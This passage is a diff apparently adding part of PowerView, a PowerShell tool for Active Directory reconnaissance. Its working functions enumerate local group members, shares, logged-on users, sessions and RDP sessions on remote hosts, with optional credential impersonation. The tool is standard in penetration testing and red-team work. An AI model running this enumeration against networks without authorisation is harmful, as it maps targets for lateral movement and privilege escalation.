$PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_INFO_1 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $LocalGroup = New-Object PSObject + $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer + $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name + $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment + $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') + $LocalGroup + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + $ComputerProvider = [ADSI]"WinNT://$Computer,computer" + + $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $LocalGroup = ([ADSI]$_) + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'ComputerName' $Computer + $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) + $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) + $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') + $Group + } + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLocalGroupMember { +<# +.SYNOPSIS + +Enumerates members of a specific local group on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName + +.DESCRIPTION + +This function will enumerate the members of a specified local group on the +current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroupMember -Method winnt | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroup | Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN + +.EXAMPLE + +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False +primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK + +http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + $Members = @() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $Member | Add-Member Noteproperty 'SID' $SidString + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') + $Members += $Member + } + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + # try to extract out the machine SID by using the -500 account as a reference + $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID + if ($MachineSid) { + $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) + + $Members | ForEach-Object { + if ($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' $True + } + } + } + else { + $Members | ForEach-Object { + if ($_.SID -notmatch 'S-1-5-21') { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' + } + } + } + $Members + } + else { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + try { + $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" + + $GroupProvider.psbase.Invoke('Members') | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + + $LocalUser = ([ADSI]$_) + $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') + $IsGroup = ($LocalUser.SchemaClassName -like 'group') + + if(([regex]::Matches($AdsPath, '/')).count -eq 1) { + # DOMAIN\user + $MemberIsDomain = $True + $Name = $AdsPath.Replace('/', '\') + } + else { + # DOMAIN\machine\user + $MemberIsDomain = $False + $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain + + # if ($MemberIsDomain) { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # try { + # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # } + # else { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + # # UAC flags of 0x2 mean the account is disabled + # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) + # try { + # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # } + + $Member + } + } + catch { + Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" + } + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetShare { +<# +.SYNOPSIS + +Returns open shares on the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. This is a replacement for "net share \\hostname". + +.PARAMETER ComputerName + +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetShare + +Returns active shares on the local host. + +.EXAMPLE + +Get-NetShare -ComputerName sqlserver + +Returns active shares on the 'sqlserver' host + +.EXAMPLE + +Get-DomainComputer | Get-NetShare + +Returns all shares for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetShare -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.ShareInfo + +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.ShareInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the raw share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $Share = $Info | Select-Object * + $Share | Add-Member Noteproperty 'ComputerName' $Computer + $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Share + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLoggedon { +<# +.SYNOPSIS + +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. + +.PARAMETER ComputerName + +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetLoggedon + +Returns users actively logged onto the local host. + +.EXAMPLE + +Get-NetLoggedon -ComputerName sqlserver + +Returns users actively logged onto the 'sqlserver' host. + +.EXAMPLE + +Get-DomainComputer | Get-NetLoggedon + +Returns all logged on users for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.LoggedOnUserInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.LoggedOnUserInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetSession { +<# +.SYNOPSIS + +Returns session information for the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetSession + +Returns active sessions on the local host. + +.EXAMPLE + +Get-NetSession -ComputerName sqlserver + +Returns active sessions on the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-NetSession + +Returns active sessions on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.SessionInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.SessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure - have to do it this way for V2 + $Session = $Info | Select-Object * + $Session | Add-Member Noteproperty 'ComputerName' $Computer + $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Session + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-RegLoggedOn { +<# +.SYNOPSIS + +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +.DESCRIPTION + +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). + +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-RegLoggedOn + +Returns users actively logged onto the local host. + +.EXAMPLE + +Get-RegLoggedOn -ComputerName sqlserver + +Returns users actively logged onto the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-RegLoggedOn + +Returns users actively logged on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.RegLoggedOnUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost' + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' + + if ($UserName) { + $UserName, $UserDomain = $UserName.Split('@') + } + else { + $UserName = $_ + $UserDomain = $Null + } + + $RegLoggedOnUser = New-Object PSObject + $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') + $RegLoggedOnUser + } + } + catch { + Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetRDPSession { +<# +.SYNOPSIS + +Returns remote desktop/session information for the local (or a remote) machine. + +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. This is a replacement for qwinsta. + +.PARAMETER ComputerName + +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetRDPSession + +Returns active RDP/terminal sessions on the local host. + +.EXAMPLE + +Get-NetRDPSession -ComputerName "sqlserver" + +Returns active RDP/terminal sessions on the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-NetRDPSession + +Returns active RDP/terminal sessions on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RDPSessionInfo + +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. + +.LINK + +https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx +#> + + [OutputType('PowerView.RDPSessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State + + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 + + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = 